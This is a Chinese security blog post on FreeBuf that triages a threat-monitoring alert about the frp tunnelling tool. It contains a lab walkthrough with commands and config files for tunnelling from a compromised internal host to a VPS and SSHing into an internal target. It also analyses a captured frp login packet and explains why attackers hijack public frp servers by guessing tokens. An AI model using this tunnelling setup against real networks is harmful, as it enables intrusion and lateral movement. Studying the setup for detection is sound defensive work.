freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

frp内网穿透工具告警分析
彭瑞 2023-12-11 16:09:40 315569

一、起因

(一)告警信息

某日,威胁监测系统发现某互联网IP地址使用frp连接了某信息系统,给出了下面的描述和处置建议:

发现frp内网穿透工具,通常该工具用来内网穿透横向渗透,请管理员确认流量。

建议在网络出口处封禁攻击者IP。

(二)思考

  • frp是如何实现内网穿透的?会产生什么样的影响?
  • frp的流量特征是什么?
  • 告警信息中frp的攻击是否成功?

二、frp的使用方法

frp 是一个开源、简洁易用、高性能的内网穿透和反向代理软件,支持 tcp, udp, http, https等协议。frp 项目官网是 https://github.com/fatedier/frp。

下面我们通过实验了解frp的使用方法。

(一)实验环境

kali 2022

192.168.159.15/24

攻击者

kali 2020

192.168.159.220/24

VPS

CentOS 7

192.168.242.101/24

内网机1(已失陷)

Windows 11

192.168.242.110/24

内网机2(攻击目标)

(二)实验思路

第一步,内网机1与VPS之间通过frp搭建隧道。通过隧道将内网机1的流量转发到VPS主机的7000端口。

第二步,攻击者连接VPS主机的6000端口,进而连接到内网主机2的ssh服务端口。

(三)实验过程

场景一,通过frp隧道访问内网攻击目标的ssh服务

第一步,搭建隧道

1) 获取frp

https://github.com/fatedier/frp/releases

支持多个主流平台。

//宿主机将frp相关文件上传到VPS

scp -r -p frp_0.40.0_linux_amd64 root@192.168.159.220:/home/user1/

//宿主机将frp相关文件上传到已失陷内网机

scp -r -p frp_0.40.0_linux_amd64 root@192.168.242.101:/home/user1/


2) VPS配置

//修改frps.ini配置文件,设置服务端监听工作端口(bind_port)以及访问密码(token):

vi frps.ini  //加入下面的内容

[common]

bind_port = 7000

token = 1qaz@WSX

保存退出


//启动frps

./frps -c ./frps.ini

1702281817_6576c2594c9ec47cd98c9.png!small?1702281818786

输出显示frp服务器已成功启动,正在监听本地的7000端口。


##### 3) 内网机配置

//编辑frpc.ini配置文件,指定VPS的IP地址、监听端口和连接密码

vi frpc.ini  //加入下面的内容

[common]

server_addr = 192.168.159.220

server_port = 7000

token = 1qaz@WSX


[ssh]

#设置当访问者访问VPS的6000端口时,VPS将数据包转发到local_ip的local_port

#local_ip可以是内网机自身,就是127.0.0.1,也可以是内网机路由可达其它的IP地址,如本例中的192.168.242.110

type = tcp

local_ip = 192.168.242.110

local_port = 22

remote_port = 6000

保存退出


//启动frpc

./frpc -c frpc.ini

1702281851_6576c27b4e0c78395fccc.png!small?1702281852111

输出显示frp客户端已成功登录frp服务,并启动了针对ssh协议的代理服务。


第二步,攻击者访问内网机

//攻击者连接到VPS的监听端口,利用frp的隧道,连接到内网主机

ssh -p 6000 administrator@192.168.159.220

1702281865_6576c2893fe6b0d13215f.png!small?1702281866153成功登录内网攻击目标(Windows 11系统)。

(四)实验结论

通过以上实验我们了解到,通过内网frp客户端和外网frp服务端之间的连接,可将内网打通,攻击者通过访问frp服务端主机的指定端口,可实现对内网路由可达的任意主机的访问。

三、frp的流量特征

做实验时没有关注流量特征,找一张网上的图:

https://cloud.tencent.com/developer/article/2339917

1702281895_6576c2a7ec2d3d92ac085.png!small?1702281897830

frp客户端首先对服务端监听端口发起连接,将自己的版本号、操作系统类型、平台架构、加密后的token信息等发送给frp服务端。

frp服务端在接收客户端请求后,返回自身的版本信息,并向frp客户端分配一个run_id。

之后双方开始加密传输数据。

四、延伸思考

(一)判断攻击是否成功

在告警信息界面,下载pcap包,使用wireshark打开,右键点击数据包条目,选择“追踪TCP流”,看到下面的信息:

{"version":"0.38.0","hostname":"","os":"windows","arch":"amd64","user":"","privilege_key":"a155174bb09e0de606a35e5258887bf8a","timestamp":1700179954,"run_id":"","metas":null,"pool_count":1}

在捕获的数据包中,前面的包全部用于TCP连接的协商,最后一个数据包是作为frp客户端的主机(185.91.69.113)向网站的外网地址发送的信息,包括版本号、操作系统类型、平台架构、加密后的token信息等。没有后续的数据包,原因很简单:网站服务器没有运行frp服务端程序。这样,攻击是失败的。

(二)攻击的目的

那么攻击者为什么要以frp客户端的身份连接别人的frp服务端呢?这是因为通过互联网找到frp服务端后,攻击者可以通过不断调整连接信息中的privilege参数的值(也就是配置文件中的token值)来通过frp服务端的认证。通过认证后,攻击者根据需要,让那些被自己控制的、需要隧道连接的内网主机,以frp客户端身份连接已被破解token的frp服务端。而攻击者自己可通过连接相同的frp服务端,利用隧道来实现对内网的访问。

那么为什么攻击者不使用在自己的VPS上部署的frp服务端呢?这是因为云主机的租用可能会暴露攻击者的身份,肉鸡的使用也有可能留下连接信息,而直接使用互联网上的frp服务端可实现很好的匿名性:因为攻击者连接的frp服务端口(remote_port)是自己指定的,这样很难对连接信息进行审计。

# 系统安全 # 内网穿透 # 攻击技术研判
本文为 彭瑞 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
彭瑞 LV.4
这家伙太懒了,还未填写个人描述!
  • 20 文章数
  • 58 关注者
bash反弹shell的研判
2023-12-11
Linux系统使用tiny shell(tsh)进行远程控制和传输文件
2022-07-27
通过伪造ps、netstat、lsof、ls命令文件,实现对tiny shell后门的隐藏
2022-07-27
文章目录